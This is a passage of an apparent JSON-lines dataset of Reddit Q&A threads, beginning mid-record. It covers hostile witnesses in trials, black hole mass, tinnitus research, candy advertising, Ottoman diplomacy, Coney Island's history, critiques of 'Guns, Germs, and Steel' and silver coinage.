your own witness.\n\nThere is much greater latitude on cross examination.\n\nBy having a witness declared hostile,the lawyer is asking that he be able to question the witness as if on cross examination even if the lawyer is the one who has called that witness.\n\nSome criteria have to be met first either based on conduct of the witness established through other evidence already presented in the trial or the witnesses answers to questions on direct.\n\nIt  may be within the judge's discretion to allow  questioning as if on cross examination; sometimes it is automatic  if the criteria are met.\n\nOther points to consider: in general if I put a witness on the stand, I am bound by what he says. If the witness is declared hostile, is possible I may not be bound by his statements..\n\nIamaL; I am a trial lawyer.", "Yes or No!  Do you still beat your wife?  Answer the question.", "The benefit to a hostile witness is that you can lead the witness instead of asking open ended questions. However, instead of allowing opposing counsel to call their own witnesses, counsel will oftentimes try to call that witness themselves and then say \"oops, we didn't realize he was going to be hostile\" when he clearly was (e.g. the director of the company they're suing). That's where the judge's discretion comes in.", "Did you watch My Cousin Vinny today? ", "Lawyer here. \n\nIt would let you lead the witness by asking leading questions. I.e. \"It's true the light was green, right ?\" Or \"And you arrived at 10:00 am?\" As opposed to \"what color was the light or when did you arrive\". It also is a cue to the jury that the witness is adverse of your position. ", "I don't have an answer for this but I'm watching Batman: The Dark Knight and Harvey Dent just asked the judge to treat the witness as hostile as I was reading this thread. Mind blown. ", "If I know anything about the law which I don't it means you are free to punch the witness at your discretion.", "If it is your own witness you can't ask leading questions.  When you get permission to \"treat the witness as hostile\" you can proceed with leading questions like on cross exam.  ", "When an attorney calls a witness, they generally can't ask leading questions (questions that suggest the answer). They also can usually count on the witness answering their questions honestly and thoroughly. However, there are situations in which the attorney's case depends in part on the knowledge of a witness not aligned with their client's interest. The witness may be nonresponsive or confrontational. In such a case, the attorney may ask to treat the witness as hostile and proceed to examine them as though they were called by the opposing counsel and are under cross-examination, so leading questions are allowed. ", "Trial lawyer here.   Certain circumstances must be met to treat a witness as hostile.  Usual text book is they are adverse to your client's position or they have said something contradictory than what they have said before.  However, the testimony must be a surprise to the party who called the witness.  Judges often require to attorney to show surprise which usually arises when the witnesses testimony during deposition is  completely different from trial testimony.  \n\nPractically speaking, it's not great to ask the judge to treat a witness as hostile in front of the jury because the jury is wondering why you called them in the first place.   Unless you want to show the jury there is something questionable going on like the defendant is getting witnesses to change their testimony. \n\nI have only seen a judge allow it once and that was b/c the witness managed to piss the judge off.  The witness was being a total jackass. \n\nI have seen attorneys try it when their case is going down the shitter. Judges usually won't help them. ", "I thought this said \"treat the witness as a hottie\" and was very confused for a minute there.", "This thread made me rest my iPhone on the ledge of my upper belly while reading the bulk of convo thru the chasm of my man tits. Well done.", "The familiar phrase is to treat the witness as hostile, but the question is actually simply asking, \"Can I have permission to ask leading questions\"? \n\nOrdinarily, you're not allowed to ask leading questions for your own witnesses, because then you're simply testifying for them and asking them to affirm what you've said. (\"You were at home in bed on the night of Feb. 30, weren't you?\", rather than \"Where were you on the night of Feb. 30?\" and then allowing them to answer.)\n\nBut because a \"hostile\" witness isn't cooperating enough to answer the question correctly, a court will give you permission to \"lead\" them and then simply nail them down to yes-or-no answers.\n", "Lawyer here, lets start with the basics. This is based around british law, but the concept is pretty much the same in US law.\n\n Every witness that you or the other party would call would have recorded a written statement with regards to their testimony. In this scenario, you are the prosecutor, who is making his case that the alleged defendant is guilty. Your witness, (being yours since you have requested he be present to give his account in court to a jury) would have recorded a written statement prior to trial, and there is something in that statement which helps your case, so you decide to call him to the podium for questions. You have read this statement, you need to have him tell what is on this statement, in court.\n\nExamination in chief (XIE) is what the person (it is either prosecutor or defense attorney) calling the witness, conducts. These are open ended questions asked from the witness to guide the delivery of their testimony to the judge and the jury. Open ended questions are in the form of why, where, how, when etc. You are not allowed to ask leading questions in XIE e.g. \"you were at the scene of the crime wern't you\", or \"you saw him holding the gun isn't that right?\". This is so to keep the testimony as clean and free from incorrect indication or alteration. \n\nCross examination is when the other party questions your witness, so he can exploit and flaws in order to discredit his testimony (which would be damaging to his side/case), with the aim that the jury disregard it or not believe it at all when considering the verdict.\n\nNow to the question (I apologize for the taking long to reach it) a hostile witness situation arises when the witness YOU have called, is not providing you with the testimony you require from him, as is present in his written statement, e.g. he saw the defendant fire the gun. It was in his written statement, but when the topic is approached in the XIE, he denies it, does not mention it, or says something against the recorded written statement. In the UK, you are required to ask him again, the same question, after which you should show him his statement and point out what he said (all this is done with permission of the judge). If he still denies it, you may ask the judge to treat him as hostile, as his testimony is now damaging to your case, and you can ask him leading questions or proceed to discredit him until he admits what he wrote on the written statement (which is beneficial to your case), or otherwise, so that the jury can disregard him."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "117kcr", "title": "Different black hole massess...", "selftext": "Hi! My question is, how can some black holes have more mass(weight) than other black holes. We call black hole a dot in the space. How can a dot weight more than an other one? Thank you for your answers!\nEDIT: Yes, under dot I mean singularity", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/117kcr/different_black_hole_massess/", "answers": {"a_id": ["c6k08n4"], "score": [6], "text": ["We call a black hole a dot in space? Who does?\n\nAnyway, black holes form from collapsing stars and their mass is related to the mass of the stellar remnant that preceded them. The radius of an event horizon is linear with the mass of the black hole."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9y4sty", "title": "Is a cure for tinnitus actively being worked on by anyone? And if so, what progress has been made?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/9y4sty/is_a_cure_for_tinnitus_actively_being_worked_on/", "answers": {"a_id": ["e9yc0ma", "e9yhq3o", "e9yi5ed", "e9yih0u", "e9yq9ea"], "score": [4369, 5581, 879, 42, 276], "text": ["Tinnitus is often associated with noise-induced hearing loss, which is in turn caused by damage and death of hair cells in the cochlea. These cells are responsible for sensing vibrations and translating them to nerve signals to be sent to the brain. Once damaged or destroyed they cannot regenerate naturally. However several methods of inducing hair cell regeneration are currently under investigation, see [this review](_URL_0_).\n\nEDIT: As you can tell from my flair I am not an expert on this topic and I've only done some cursory reading because I have mild tinnitus myself, I won't be able to answer any questions that I'm not familiar with.", "Yes! There's a lot of research going into tinnitus. The DOD funds a good portion of it (turns out loud explosions and artillery are destroying the hearing of our active troops and vets.)\n\nI'm sure there are many groups working on this, but I know the Tzounopoulos group at the University of Pittsburgh is actively working on a drug to cure/prevent tinnitus. Not my area of expertise so I don't know the specifics of the project, but here is a link to his website. Some of his papers may be interesting to OP and anyone else looking for info. \n\n\n\n_URL_0_", "I am not a doctor or scientist but have done extensive research, participated in Tinnitus groups, and had multiple well educated Audiologists and Otolaryngologists and was very fortunate to have them. These were people who attended conferences and were always staying ahead of the curve in understanding the research and trials available, in the pipeline, and being discussed.\n\nMany doctors have also said the same thing and it seems to be consensus - without having tinnitus it is difficult to assess from the outside, and there have been many audiologists I have seen in other cities who I have had the opportunity to educate based on my experience. There is a limited number of people worldwide who are truly invested in this condition.\n\n\u200b\n\n**What is it?**\n\nTinnitus (tin-ih-tus) is a catchall used to describe hearing noise when there is no external source present. Common understanding always brings this discussion to two of the most basic causes - trauma or long term degradation.\n\nTrauma can be a single external event, such as a gun firing, explosion, a crash, but could even be smaller things too. There is some consensus (but it is not a silver bullet) that a shot of prednisone into the ear OR a regimen of oral prednisone taken within 48 hours (24 hours or earlier preferably) can limit the damage of a severe auditory trauma.\n\nLong term degradation is similar to trauma, but is the result of noises less than severe auditory trauma over the course of a lifetime.\n\n\u200b\n\nThese are the best understood because they affect the most people - those who have had military service, and the elderly. These cases affect the vast majority of tinnitus users, but the severity of the tinnitus in a good portion of these is manageable and most likely monotone in nature. The movies you may have seen depict this kind of tinnitus very well, and you may have even experienced it yourself after a night out at a concert, bar etc only for it to slowly die down over the next few days.\n\n\u200b\n\nAs others here have stated, there is work here that focuses on the idea that hair cell regeneration may be a positive factor in repairing the damage.\n\n\\---------\n\n**What is it** ***really?***\n\nNow to the more extensive understanding. Tinnitus is really a neurological issue, despite the cause. I know many are hopeful for the ear hair cell regeneration but this is not as promising to tinnitus in general as it seems.\n\n\u200b\n\nThere are many other causes for Tinnitus - a side effect of medication, infection (not just ear, but viral infections in the brain), acoustic neuroma, Meniere's disease, blood vessel issues, muscular issues, TMJ, and others!\n\nDue to tinnitus having many causes there are some treatments which affect others and which do not work for most. There is even a type of tinnitus which is objective and the doctor could actually hear the noise, this is from blood vessels and is called pulsating tinnitus.\n\n\u200b\n\nSince tinnitus is so broad and there are many underlying factors, it is incredibly difficult to 'cure' as you would only be treating some specific types of tinnitus. The type of noise people hear, the frequency, severity, number of tones/pitches, the nature of the noise, etc are all very very different although the name tinnitus is used to describe all of these. This means that it is very hard to create an accurate sample of people to run tests on, as the description and type of tinnitus may be very unique for people, and is also dependent on subjective evaluation by the subjects themselves.\n\nThe nature of tinnitus is normally that it is not constant on every day and can change in severity, volume, frequency etc on a daily or hourly basis. Tracking progress on treatment can be hard due to this, and there are a lot of factors that *could* impact tinnitus such as stress (#1), diet, sleep, external factors like noise, and others.\n\n\u200b\n\n**The good news**\n\nThe good news is there are promising steps being made to treat the neurological causes and factors of tinnitus. To understand research both past and present, a tremendous resource is [https://www._URL_0_/forums/research-news.4/](https://www._URL_0_/forums/research-news.4/) which is a collection of tinnitus sufferers who have had it for years or decades and stay very active in the community and do a ton of research as well as share experiences if they participate in trials.\n\n\u200b\n\nThere have been many medications developed, all of which have failed at the second trial round usually, which attempt to address potassium channels that can lead to the reduction or elimination of tinnitus. There is some promise here but the majority of these medications treat another primary cause like seizures and the added effect on tinnitus is secondary which makes trials for those with tinnitus ineligible. There have also been many trials with different medications which you can clearly see on that TinnitusTalk research board.\n\n\u200b\n\nOther attempts at solutions have involved treatments to the brain with magnetic or electrical stimulation to address the neuroplasticity of the brain. Many of these are new and again will never be a silver bullet but could be a general use to assist those who are eligible due to the potential for reduction or elimination. rTMS or repetitive transcranial magnetic stimulation was a hot button for a while, and there are other treatments that are always in the pipeline but require much time and are essentially unattainable for the near future.\n\n\u200b\n\n**The even better news**\n\n\u200b\n\nResearch here is growing exponentially, and we understand more every day.\n\n\u200b\n\n**The bad news**\n\nThere is a massive lack of funding for research here though and also a very low potential for ROI for pharmaceutical companies due to potential medications not having enough people that the cost of research and manufacturing would far outweigh those who could be positively affected and need prescriptions. A good few promising companies have gone under and hold on to all their research and it has not been shared with the scientific community, halting a lot of progress in a potential search for treatment.\n\n\u200b\n\n**Resources**\n\n\u200b\n\nIf you're interested, [_URL_0_](https://_URL_0_) is a fantastic resource which contains a lot of very knowledgeable individuals. Be careful as there are tons of differing opinions and take no one person's words as fact, **INCLUDING MINE!** Also, us tinnitians (as a lovely facebook group member called us) can be a very very angry bunch due to living in eternal hell day in and day out so there is some petty bickering that happens here.\n\nThe American Tinnitus Association [_URL_3_](_URL_1_) is a GREAT resource, and **PLEASE if you are shopping Amazon for Christmas try using the Smile program to donate to them!** The British Tinnitus Association is also at the front of the global community too.\n\n\u200b\n\n\u200b\n\n**TL;DR**\n\nNope we're in trouble. There are tons of programs in existence and being developed that work to manage tinnitus, but there is no 'cure' in sight, and there may never actually be one! Too many causes and difficulty in getting reliable data along with poor ROI for companies discourages research.", "There is currently a [pilot study](_URL_3_)  being done at UCSF using deep brain stimulation through implanted electronics to modulate tinnitus.  This is based on a few [case studies](_URL_1_)  of Parkinsons patients reporting changes in their tinnitus during DBS implantation.\n\n\nCurrently available technology includes hearing aids and similar devices which play various types of broadband noise into the ears, either to [mask](_URL_2_)  the tinnitus or to [habituate](_URL_0_)  the central nervous system and reduce neural firing along the auditory pathway. As you might expect, YMMV with any of these devices and they\u2019re not cheap. ", "Yes! Gene therapy is being worked on by multiple research firms across the globe. The most notable being Frequency Therapeutics who have a drug currently in phase 1/2 of testing. It's called FX-322 and it's an injection into the eardrum. It works by regenerating the hair cells responsible for the conditions in the first place. If things go well, the drug could possibly be 5-6 years away from release. Research for hearing loss and tinnitus has picked up a lot momentum in the past couple of years due to increased funding from multiple companies and governments. The reason that it is so late is because until now, the mechanisms behind the ear and the brain were not understood very well. Now that research has caught up, multiple solutions are being worked on. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5534485/"], ["http://phrc.pitt.edu/people/thanos-tzounopoulos"], ["tinnitustalk.com", "https://www.ata.org", "https://tinnitustalk.com", "www.ata.org", "https://www.tinnitustalk.com/forums/research-news.4/"], ["http://neuromonics.com/", "https://www.ncbi.nlm.nih.gov/pubmed/20541595/", "https://www.oticon.global/hearing-aid-users/hearing-loss/tinnitus/tinnitus-treatment", "https://clinicaltrials.ucsf.edu/trial/NCT01988688"], []]}
{"q_id": "3djl7k", "title": "tons of candy bars advertised everywhere in the 1990s. now, you barely see anything advertise, but the products are all still widely available. why?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3djl7k/eli5_tons_of_candy_bars_advertised_everywhere_in/", "answers": {"a_id": ["ct5rdst", "ct5s0nd"], "score": [3, 9], "text": ["There is more information regarding the effects of high sugar, childhood obesity and obese people generally. The stance by manufacturers is to keep it low key. There aren't really any new brands available, the ones that do come out are generally released around Xmas or other holidays where it's accepted to over eat. Imo", "For TV ads, it could be partly what you're watching - if you were a kid in the 90s, and the candy companies target shows that kids watch, the amount of advertising might not have actually declined, you personally just see less of it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "bx2hc9", "title": "Why didn't the Ottoman Empire attack the Habsburgs during the Napoleonic Wars?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/bx2hc9/why_didnt_the_ottoman_empire_attack_the_habsburgs/", "answers": {"a_id": ["eq5qv13"], "score": [5], "text": ["I'll try to answer your question, sorry if it doesn't satisfy you. It's rather complicated, and involved layers of European diplomacy and Ottoman internal policy so bear with me\n\n**Background: Ottoman Neutrality**\n\nFrom 1740 to 1768, peace prevailed between the Ottomans and their European neighbors, as the Ottomans pursued a policy of strict neutrality to address internal matters and focus on other fronts. This policy was suddenly broken by a rather sudden Russian attack in 1768, and later with the Austrians in 1787. These wars cost heavy defeats for the Ottomans, and it revealed the weakness of their military and the need to reform.  When the revolutionary wars broke out, at first the Porte (or Selim III in that matter) still inclined pursue a policy of neutrality. Selim\u2019s first experimentations with the system of alliances were the treaties signed by Prussia and Sweden, yet these alliances did not save the Ottoman Empire from defeat in the last war with Russia and the Habsburgs. Convinced in the need of peace at home to carry out an extensive reform program, Selim pursued for neutrality. That's why even though the majority of Ottoman elite knows what's happening in Europe and how crucial it is, they still maintained neutral stance towards all nations including Revolutionary France. One particularly interesting incident about this is the complaint from Austrian chief dragoman, protesting French revolutionaries who wore tricolor cockades in Istanbul in an audience held in 1793. Rasid Efendi, the Ottoman Reis\u00fc\u2019l-k\u00fcttab (Chief Scribe), argued that the Porte would not interfere with the Revolutionaries even \"if they put baskets of grapes on their heads\". On another occasion, the dragomans of these states once again protested to Rasid Efendi that the toleration of the Revolutionaries ran counter to the Porte\u2019s policy of neutrality. Rasid Efendi then told that all the French residing in Istanbul were the guests of the Porte by reason of trade treaties and that any sort of intervention with their dress would violate neutrality because it meanr expressing disapproval of their conduct in the same manner of their adversaries. However, as the war grew larger and with multiple victories from the ambitious Revolutionary France, it's clear the Porte must eventually pick a side\n\n**Ottoman-French Alliance?** \n\nOttoman-French relations were directly shaped by the Revolutionary wars. The Porte refused to recognize the Republic and its ambassadors. On the other hand, it continued to honor its former treaties with France and held secret audiences with Descorches, promising him to recognize the Republic as soon as it received formal recognition from a European state. In times of low prospects for victory, France sought to conclude an offensive alliance with the Porte so as to divert the armies of its enemies. Despite a series of secret audiences with, Descorches largely failed to accomplish his mission. The Porte strictly followed neutrality in the First Coalitions and after its dissolution in 1795, the Porte seriously (albeit, unwillingly) considered to ally with France in reaction to Russo-Habsburg and Anglo-Russian treaties. Nevertheless, Franco-Ottoman alliance was not a foregone conclusion. In fact, when Selim heard that a European peace will be concluded through the mediation of Denmark and Sweden, he suggested three policies to follow: Ottoman mediation for restoration of general peace, recognition of the Republic, or forming an alliance with France. A secret meeting held by the Porte concluded that whichever measure was to be taken, it should conform to the \"current international law\". As a number of European states including Prussia recognized the Republican regime in France, the Porte kept its early promises and officially gave its recognition to the Republic by accepting Verninac as the Republican ambassador. Upon the final partitioning of Poland between Prussia, the Habsburgs and Russia, the Porte grew lenient to seek an alliance against a possible encroachment by Russia and Austria.After all, the Austro-Russian treaty (January 1795) explicitly mentioned \u2018the Greek Project'. Verninac had clear instructions to incite the Porte to declare war on Russia so as to spare Poland from further partitioning and to secure the appointment of an Ottoman permanent ambassador to Paris. Polish refugees also sent a representative, Oginski, to the Porte to offer an offensive alliance against Russia. Paris, however, grew reluctance for an offensive Ottoman alliance as it felt itself secure enough after signing the treaty with Spain. Consequently, the alliance with France was signed by Verninac and Ebubekir Ratib with the consent of Selim on 24 May 1796. This was a defensive treaty in which the two powers guaranteed their territorial integrity and secured 30,000 troops and 20 warships in 4 months if one of the parties came under attack. The Porte also stipulated that it would not be involved in any war with Britain. However the new regime of Directoire did not ratify the treaty to avoid any future commitment to the Porte especially when the future was replete with uncertainties.  Despite this supposed alliance, The Porte still found the revolutionary France untrustworthy. They're especially discontent with  French military presence in Italy and Adriatic after 1795. They closely scrutinized the Toulon fleet, for they saw a threat in it for the Morea and Albania. In 1796, Dubayet, a new French ambassador proposed for yet another offensive alliance with the Porte. The terms of the treaty proposed by Dubayet was outrageous, by the Porte's standard. According to the first article, were Paris and Vienna to fail to conclude peace, the Ottomans would send 100,000 troops to Trieste and Fiume so as to join with the French army so that the two allies could cut off the Habsburg army deployed in Dalmatia and Istria from the interior and could march on Vienna. A French fleet of 12 warships was to be put under the Ottoman Grand Admiral and wait at the Dardanelles only to be used against Russia in the Black Sea in the case of a possible Russian declaration of war. After the war, the 'provinces' of Albania, Istria and Dalmatia might either be converted into tributary republics of the Sublime Porte or put under direct Ottoman rule, provided that the Porte would appoint Christian Directoires and abstain from interfering with their religion. The Grand-vizier believed the French had ill-intentions and Dubayet must have submitted the draft with the prediction of its refusal which the French could use as a pretext for their future aggression against the Porte (1/2)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1o8epg", "title": "How did Coney Island Impact the Entrainment Industry in America?", "selftext": "Around the close of the 19th century, everyone in the US was familiar with Coney Island. How did it influence modern American entertainment and leisure culture?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1o8epg/how_did_coney_island_impact_the_entrainment/", "answers": {"a_id": ["ccpu7c6"], "score": [4], "text": ["Coney Island was first established as a seaside resort shortly after steamboat lines reached Brooklyn and roads were built through Gravesend. In 1829, the same year the main toll road opened (called Shell Road, after the crushed shells it was paved with), so did the Coney Island Hotel, the first hotel in the area; other hotels and businesses followed, attracting upper-class citizens as an escape from the growing urban areas of Manhattan and Brooklyn. Walt Whitman, Washington Irving, Herman Melville, Jenny Lind, Henry Clay, Daniel Webster and John Calhoun were all on the Coney Island Hotel\u2019s register. As Manhattan was becoming more crowded, there was a pressing and urgent need for park and leisure space that could be easily accessible. In July 1854, the City of Brooklyn inaugurated horse-drawn street railway service from Fulton Street, and soon lines crisscrossed Brooklyn. In 1864, the Brooklyn, Bath and Coney Island Railroad opened, which linked Brooklyn with Coney Island via Bath Beach, an important source of traffic and a small seaside resort of its own. \n\nThe development of Coney Island continued as entrepreneurs continued to build hotels (some of which had to be [moved](_URL_0_) later as a result of beach erosion). Other rail lines reached the area in 1875 (the Culver line, F train), 1877 (the Sea Beach line; N train) and 1878 (the Brighton line; Q/B trains); the aforementioned Bath Beach line is now the West End line (D train). As these rail links opened, more attractions opened up. The first carousel was opened in 1876, and by 1900 there were more than ten; the first roller coaster in the U.S. opened in 1884. Paul Boynton\u2019s Sea Lion Park, which opened in 1895 right behind the Elephantine Colossus (a massive elephant that served as a hotel, concert hall, tourist attraction and was abandoned and resurrected as a brothel!), featured the Flip Flat, the first roller coaster to bring peole upside down ([oh my](_URL_1_)). \n\nIn 1882, George C. Tilyou opened the Surf Theater, and several years later, inspired by the Ferris Wheel that had been displayed in Chicago at the 1893 World\u2019s Fair, he built a smaller version and an enclosed amusement park called Steeplechase. Steeplechase was wildly popular and brought people to Coney Island in numbers never seen before (when the park burned down in 1907, ever the intrepid businessman, he charged people ten cents to view the ruins). In 1903, Luna Park opened, using thousands of electric lamps to attract visitors in a dazzling display of light, Dreamland opened to great fanfare the next year, and Nathan\u2019s Famous opened in 1916. The famous Coney Island Cyclone opened in 1927 on the same site of Le Marcus Thompson\u2019s 1884 coaster, next to the Thunderbolt roller coaster, which opened in 1925; it lay abandoned from 1982 until finally demolished in 2000. \n\nDuring the peak years, twenty million people a year visited Coney Island, almost a quarter of the entire country; on a good day more than a hundred thousand people could be entertained. The music halls played host to famous vaudeville performers, and Tin Pan Alley immortalized Coney Island with songs such as \u201cMeet Me Down at Luna Lena,\u201d \u201cMeet me Tonight in Dreamland,\u201d and the still familiar \u201cConey Island Baby.\u201d Although attendance at amusement parks and entertainment sites declined after World War II, Coney Island has managed to hold onto a semblance of its unique turn-of-the-century culture. A part of this evolved into the Mermaid Parade, first held in 1983 to celebrate the tradition of grand Mardi Gras parades that had once walked the Coney Island boardwalk. In 1972, Nathan\u2019s began hosting their hot dog eating contest, which has since become a well-known July 4th tradition. In 2010, a new Luna Park opened, on the site of the former Astroland Park, aiming to revitalize the area and bring more visitors to the sea.\n\nIn terms of the overall impact that Coney Island had on the U.S., I would argue that it has been quite significant. After all, it helped to fuel an incredible boom in amusement parks around the turn of the century; parks were built in short order in Canarsie, the Rockaways, Astoria and Washington Heights, in addition to many others in the Tri-State area. The idea of having dedicated leisure time was significant, as it was both at odds with the Victorian mentality and a response to it, in addition to reflecting the ongoing social strife in the city. The vaudeville acts and \u201clewd\u201d attractions also boldly challenged the Victorian standards of morality at a time when it was indecent to bare one\u2019s legs at the beach. And, believe it or not, one of the top attractions at Dreamland was a \u201cchild hatchery\u201d or the slightly more forgiving \u201cbaby incubator,\u201d which was developed by Doctor Martin Couney as a clever way to both save premature city babies and pay for their treatment; while this sounds awfully unorthodox, this brought a lot of attention to premature births and taught an entire generation of doctors how to treat preemies. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.westland.net/coneyisland/articles/images/con-brightonhotelmove.jpg", "http://excitingny.com/oldconey/images/FlipFlap.jpg"]]}
{"q_id": "144it5", "title": "Are the theories put forth in \"Guns, Germs, and Steel\" widely accepted by science?", "selftext": "I'm just curious. Jared Diamond seems to be making a lot of assumptions about the reactions of the minds of centuries old civilizations to technology such as guns, mounted horsemen, etc. I think the theory seems really clean and solid, but I keep wondering if all these little assumptions are true for certain.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/144it5/are_the_theories_put_forth_in_guns_germs_and/", "answers": {"a_id": ["c79tlzl", "c79uicp", "c79ukty", "c79uqth", "c79xlh9", "c79xp2g", "c79yabo", "c79ydhn", "c7a0ifq", "c7a1krt"], "score": [208, 106, 87, 50, 6, 5, 6, 3, 18, 2], "text": ["It would be helpful if you could be more specific about what theories or maybe some examples. \n\nDiamond's main thesis is that the course of civilization was influenced by the starting conditions of geography and ecology. The idea that there are more easily domesticated animals in Eurasia and that the east-west orientation of the continent facilitates technology dispersion is generally well accepted. These two facts resulting in all geopolitical history up till now is more contested. \n\nThe reactions in the minds seem fairly unimportant for the larger theory. The psychological impact of seeing a mounted rider was probably less important than lacking the knowledge to fight a mounted rider.", "/r/askhistorians may be a good place to put this question.\n\nIn fact: _URL_0_\n\nThe question apparently gets asked there quite often. And from what I can gather, based on skimming some of the answers, it is fairly accurate but mostly as an introduction to very complex ideas.", "Diamond does what a lot of pop history/sociology writers do: elevate a single idea, condition or event to maximal importance and claim that it explains or functions as the essential precursor to a whole host of historical and social details. The author of the book on salt does the same thing; as do the authors of books on coffee, tea, corn and a bunch of other things. These are reductionist arguments that tend to convince on the basis of a tour de force of interpretation; serious historians, anthropologists and sociologists do not fall into the trap of assuming that they constitute the ultimate truth on their own.\n\nThe theories in GG & S cannot really be separated from Diamond's thesis that those theories are full explanations (that is, no other factors rise to the same level of significance). To that extent, then, no, they are not widely accepted by science. But as partial explanations and elements of larger, more complex theoretical constructs, they are acceptable.", "No layperson speculation please. If you're not a credentialed expert, and you're not citing someone who is, your answer is probably layperson speculation.", "Degree in History...\n\nEssentially the largest criticism is that it is ethnocentric and deterministic. Basically, that since it is, it must be, is not always a solid logical process. It's an interesting theory, but I've asked several history professors (Harvard, Cambridge, Penn educated) and they dismiss it on these grounds.", "I work in an evolutionary biology lab and the consensus among the other scientists that I know who have read it is that the book is interesting and seems pretty airtight but you really can't \"test\" any of his theories so it isn't quite science.  Really cool book though.", "Short-answer: No.  \n\nLonger answer: *Guns, Germs, and Steel* is laden with absolutely ludicrous amounts of environmental determinacy the likes of which I hope science never sees again. It's very out-dated, and rehashes the worst aspects of the oldest theories in the fields of anthropology, geography, and cultural ecology--theories literally popular at the turn of the 20th Century.  Suffice it to say that everything posited by Diamond has been covered by far more qualified scientists within those respective fields in far more contextualized and meaningful ways.\n\nUnderstand that's not to say that cultural geography and cultural ecology aren't correct or that they haven't provided incredible tools for understanding past societies, in fact I use those tools all the time to model the past, I just mean that Jared Diamond is dangerously wrong. \n\nThings Diamond does correctly: writes in a fun, narrative fashion that elevates these basics to a wider global audience (however dangerous it may otherwise be to our respective sciences in general)\n\nEdit: to further elaborate on the great many *whys* to which Diamond is wrong would be to take everyone through the last 80 years of the evolution of anthropological and cultural theory. ", "I work in human geography, and I would have to say no -- at least in this field, most folks don't take Diamond's work too seriously. It's too singularly focused and to many people reeks of environmental and/or Eurocentric determinism, two things the field spent decades working through, at the expense of more complex social and political analyses, for instance..\n\nActually, if you take a look at the Wikipedia page for GGS, it lays out the primary critiques for his ideas. Needless to say, they've been taken up in more detail in the literature, and I rarely see his work cited other than as an example of \"popular\" (mis)conceptions about environmental history and human geography.\n\nThis doesn't mean his ideas aren't worth thinking about, just that they may be underdeveloped and lacking the nuance and critical eye that exist in more well-developed geographic theory.\n\nedit: Now that this sparked my interest a bit more, I just skimmed through some reviews of his book that were published in a few geography/anthropology journals. Long story short, I was probably kinder here than than many others would be.", "Anthropologist here. Others have already answered this question quite well. I'd just like to add a little extra context.\n\nDiamond is an ornithologist, and largely ignorant of the social sciences. This is no more plainly obvious than in his recent book *Collapse*, in which he makes very definite claims about Easter Island that are neither consistent with the archaeological record nor with archaeological theory; he makes it very, very clear that he has no familiarity with established archaeological schema on how and why monument-building is an optimal survival choice for many civilizations.\n\nHowever! Jared Diamond has power. Jared Diamond sits on the board of *Nature*. Though he is not a social scientist, he is treated as the social science gate-keeper of *Nature*. \n\nAnd he is, in the words of various people in my department who have conflicted with him, \"a vengeful little shit\", \"a horrible little man\", and \"a douchecanoe.\"\n\nBasically, the common wisdom is that if you publish an article rightfully tearing into Diamond's work, you can kiss your hopes of ever being published in *Nature* goodbye.\n\nJust saying, if you go searching for other sources: you will find very few academic critiques of Diamond, mostly because all of the anthropologists are afraid of his vengeance.\n\n**tl;dr: Jared Diamond holds back science**", "It depends. Within the Economics profession, students of Growth and Development are more influenced by Acemoglu and Robinson's [Why Nations Fail](_URL_3_) and their [Colonial Origins of Comparative Development](_URL_2_) paper (warning, gated JStor).\n\nMore \"exotic\" alternatives include Clark's [A Farewell to Alms](_URL_0_) book and hypotheses therein.\n\nAcemoglu has a [comprehensive graduate textbook](_URL_1_) on Growth and Development, in two volumes. Several of the chapters are non-technical and they deal with the fundamental causes and mechanisms of development and institutions.\n\n(Graduate student in Economics.)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.reddit.com/r/AskHistorians/search?q=gun+germs+and+steel&amp;restrict_sr=on"], [], [], [], [], [], [], [], ["http://www.amazon.com/Farewell-Alms-Economic-History-Princeton/dp/0691141282", "http://www.amazon.com/Introduction-Modern-Economic-Growth-Acemoglu/dp/0691132925", "http://www.jstor.org/discover/10.2307/2677930?uid=3739832&amp;uid=2129&amp;uid=2&amp;uid=70&amp;uid=4&amp;uid=3739256&amp;sid=21101390884533", "http://whynationsfail.com/table-of-contents/"]]}
{"q_id": "6mv9rq", "title": "why were us quarters, dimes, half dollars, and dollar coins that preceded 1965 made of 90% silver?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6mv9rq/eli5_why_were_us_quarters_dimes_half_dollars_and/", "answers": {"a_id": ["dk4l5zu", "dk4l98n", "dk4njkq", "dk4oj8t"], "score": [6, 48, 7, 48], "text": ["Totally spitballing here but maybe had something to do with them being physically worth their weight in silver?  Back then they were actually worth something.  Now they're physically worth nothing, just like paper bills. ", "Prior to that time coins got their value from the content of precious metals in them. They had that specific value (at the time of minting) of gold, silver, nickel or copper alloyed with other metals to make the coin. ", "You can't have coins with a melt value that exceeds their face value. They stopped making pennies out of copper for this reason. I believe this has to do with price fixing and inflation. For most of the 20th century the price of gold was fixed at $35 an ounce. My parents spent 20 bucks on their solid gold wedding rings. Crazy. ", "The US around that time switched from a system where precious metals decided the value of the coin. We then switched to a Fiat system were currency value is decided by the government and the worlds trust in the US currency.\n\nEssentially the US went from the Gold Standard to a Fiat System. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
